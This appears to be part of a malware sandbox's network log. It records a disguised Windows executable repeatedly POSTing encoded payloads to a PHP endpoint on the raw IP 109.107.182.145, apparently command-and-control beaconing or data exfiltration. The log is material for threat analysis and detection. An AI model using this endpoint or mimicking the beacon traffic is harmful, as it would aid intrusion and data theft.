Apr 20, 2024 00:42:54.230815887 CEST	2148	OUT	Data Raw: 5f 56 5e 53 54 59 5d 53 5d 56 5a 59 52 51 56 51 54 52 5c 59 50 53 53 5d 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _V^STY]S]VZYRQVQTR\YPSS]W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R''?> 33 \';+48+W+;"7=*,0^!?;W..G#$Z-
Apr 20, 2024 00:42:54.499569893 CEST	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1a 27 01 2a 14 32 53 21 22 0a 5d 3b 2c 27 09 28 31 08 5e 3a 1c 2d 5e 2b 2f 2c 10 3d 3e 21 50 2b 30 28 58 30 54 24 15 25 3f 26 1e 2e 3a 20 5a 01 11 27 40 24 3a 2c 56 27 20 29 07 30 0e 2a 5b 26 3d 3a 59 33 38 36 52 2a 05 3a 0b 30 06 3b 05 2a 5e 3e 56 28 3f 3b 43 25 12 33 55 36 1e 20 50 0c 10 38 19 3d 32 2b 52 32 02 2b 57 24 3f 25 55 37 3e 20 56 31 3f 3b 56 22 34 09 5e 3f 22 2d 04 2b 13 30 5e 22 22 2c 5d 33 21 20 1e 3f 08 22 5e 2c 0f 20 54 02 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98'2S!"];,'(1^:-^+/,=>!P+0(X0T$%?&.: Z'@$:,V' )0[&=:Y386R:0;^>V(?;C%3U6 P8=2+R2+W$?%U7> V1?;V"4^?"-+0^"",]3! ?"^, T=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49783	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:54.090389013 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:54.348697901 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:54.348884106 CEST	2568	OUT	Data Raw: 5f 53 5e 5a 54 5f 58 50 5d 56 5a 59 52 5c 56 51 54 5d 5c 53 50 50 53 52 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _S^ZT_XP]VZYR\VQT]\SPPSRW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R''!E"95U$ &(0 +7U+;_"/-S"1*)?#4<89$.G#$Z-1
Apr 20, 2024 00:42:54.613708973 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49784	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:55.013041973 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:42:55.271495104 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:55.271740913 CEST	2568	OUT	Data Raw: 5f 57 5e 5f 51 5f 58 51 5d 56 5a 59 52 5c 56 52 54 51 5c 5f 50 53 53 53 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _W^_Q_XQ]VZYR\VRTQ\_PSSSW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'0<C#9"0(2((##T<*;#,)V7)<7?<.4.G#$Z-1
Apr 20, 2024 00:42:55.536955118 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49785	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:55.918859959 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:56.180309057 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:56.180561066 CEST	2568	OUT	Data Raw: 5a 55 5b 5b 54 56 5d 56 5d 56 5a 59 52 59 56 55 54 52 5c 58 50 57 53 58 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZU[[TV]V]VZYRYVUTR\XPWSXW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R''9A &$# %(/Y#;<<6<S4*>/'#/#:4.G#$Z-%
Apr 20, 2024 00:42:56.448901892 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49786	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:56.828380108 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:57.086864948 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:57.087162018 CEST	2568	OUT	Data Raw: 5a 57 5e 5f 54 5f 58 52 5d 56 5a 59 52 5f 56 5b 54 57 5c 5a 50 5f 53 58 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZW^_T_XR]VZYR_V[TW\ZP_SXW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R''!7)V$0<\17]48;R(*X6/>#W9),;#?#T-$.G#$Z-
Apr 20, 2024 00:42:57.351839066 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49787	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:57.730181932 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:57.991688013 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:57.991887093 CEST	2568	OUT	Data Raw: 5a 52 5b 59 51 5b 58 5e 5d 56 5a 59 52 5a 56 55 54 53 5c 59 50 52 53 53 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZR[YQ[X^]VZYRZVUTS\YPRSSW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$$2 V&0$&3\4;#W('">#!=*?#/+:.G#$Z-)
Apr 20, 2024 00:42:58.260390043 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49788	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:58.637665987 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:58.898849964 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:58.899069071 CEST	2568	OUT	Data Raw: 5f 55 5b 58 51 5a 58 52 5d 56 5a 59 52 5d 56 53 54 51 5c 53 50 56 53 5d 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _U[XQZXR]VZYR]VSTQ\SPVS]W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'0>4:6' #&/48):!Z& !:=</#/<.4.G#$Z-5
Apr 20, 2024 00:42:59.170303106 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49790	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:59.770464897 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2124 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:00.032061100 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:00.032258034 CEST	2124	OUT	Data Raw: 5f 52 5b 5f 54 5d 58 54 5d 56 5a 59 52 5d 56 55 54 54 5c 5f 50 50 53 5a 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _R[_T]XT]VZYR]VUTT\_PPSZW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$0>#T$V Y&078?Y",1 ".>/?4/$9$.G#$Z-5
Apr 20, 2024 00:43:00.302476883 CEST	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1a 27 00 29 2a 3a 55 23 0b 24 11 2f 3c 0e 51 2a 32 39 01 2e 0c 0c 03 3d 3f 05 03 2a 2e 25 14 3f 0d 06 11 30 31 2f 05 27 02 2e 55 2d 00 20 5a 01 11 27 40 27 29 2b 0c 25 20 2d 00 26 30 0c 5a 26 3d 04 5c 33 5e 2e 10 3d 3c 21 55 27 3b 2b 00 29 01 32 54 3c 11 3b 43 25 05 23 53 20 34 20 50 0c 10 3b 08 28 22 02 0b 31 3c 2f 50 26 2f 2a 0c 21 2e 02 19 31 11 23 50 35 27 30 05 3f 31 08 5e 3c 3e 33 01 36 32 33 01 24 21 23 0b 28 22 22 5e 2c 0f 20 54 02 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98'):U#$/<Q29.=?.%?01/'.U- Z'@')+% -&0Z&=\3^.=<!U';+)2T<;C%#S 4 P;("1</P&/!.1#P5'0?1^<>3623$!#(""^, T=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49791	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:59.915196896 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2564 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:00.176454067 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:00.176623106 CEST	2564	OUT	Data Raw: 5a 52 5b 58 54 58 5d 54 5d 56 5a 59 52 58 56 5a 54 50 5c 5a 50 53 53 5b 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZR[XTX]T]VZYRXVZTP\ZPSS[W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'014>3 ,\2+#^?U(3"< W&P*$[4?;..G#$Z-
Apr 20, 2024 00:43:00.443229914 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49793	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:00.823520899 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2560 Expect: 100-continue
Apr 20, 2024 00:43:01.087716103 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:01.087894917 CEST	2560	OUT	Data Raw: 5a 50 5b 58 54 58 58 52 5d 56 5a 59 52 58 56 53 54 56 5c 5c 50 52 53 5d 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZP[XTXXR]VZYRXVSTV\\PRS]W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R''?!E *'#8_&80#+#<'5<1W71)/'4??S.4.G#$Z--
Apr 20, 2024 00:43:01.354547977 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49794	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:01.734664917 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:01.996370077 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:01.996664047 CEST	2568	OUT	Data Raw: 5f 5b 5e 5d 51 5d 58 56 5d 56 5a 59 52 5a 56 54 54 51 5c 5c 50 5f 53 5a 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _[^]Q]XV]VZYRZVTTQ\\P_SZW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$$<=D4>'V ^%##8?#]6/9V#!T= ? :.G#$Z-)
Apr 20, 2024 00:43:02.266269922 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49795	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:02.662939072 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:02.921364069 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:02.921598911 CEST	2568	OUT	Data Raw: 5f 5b 5e 5f 54 5c 58 57 5d 56 5a 59 52 50 56 50 54 55 5c 5b 50 55 53 53 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _[^_T\XW]VZYRPVPTU\[PUSSW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$3,="*53 ;&8/Y#(7W?9'5?"4)=?< ?'-.G#$Z-
Apr 20, 2024 00:43:03.187612057 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49796	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:03.575282097 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:03.833508968 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:03.833699942 CEST	2568	OUT	Data Raw: 5f 55 5e 5d 54 5e 58 51 5d 56 5a 59 52 5b 56 52 54 52 5c 58 50 56 53 5e 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _U^]T^XQ]VZYR[VRTR\XPVS^W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'$?- .$V X%;/4;R)05%#W+?7? .4.G#$Z--
Apr 20, 2024 00:43:04.100281000 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49797	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:04.773020029 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:05.034140110 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:05.611032009 CEST	2568	OUT	Data Raw: 5f 53 5e 5a 54 5f 5d 54 5d 56 5a 59 52 50 56 5a 54 56 5c 5d 50 55 53 5b 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _S^ZT_]T]VZYRPVZTV\]PUS[W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$&<- 99V'+&+?"8'V+6/17!&)Y37<4-.G#$Z-
Apr 20, 2024 00:43:05.882742882 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49798	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:05.875468016 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2148 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:06.134531021 CEST	25	IN	HTTP/1.1 100 Continue
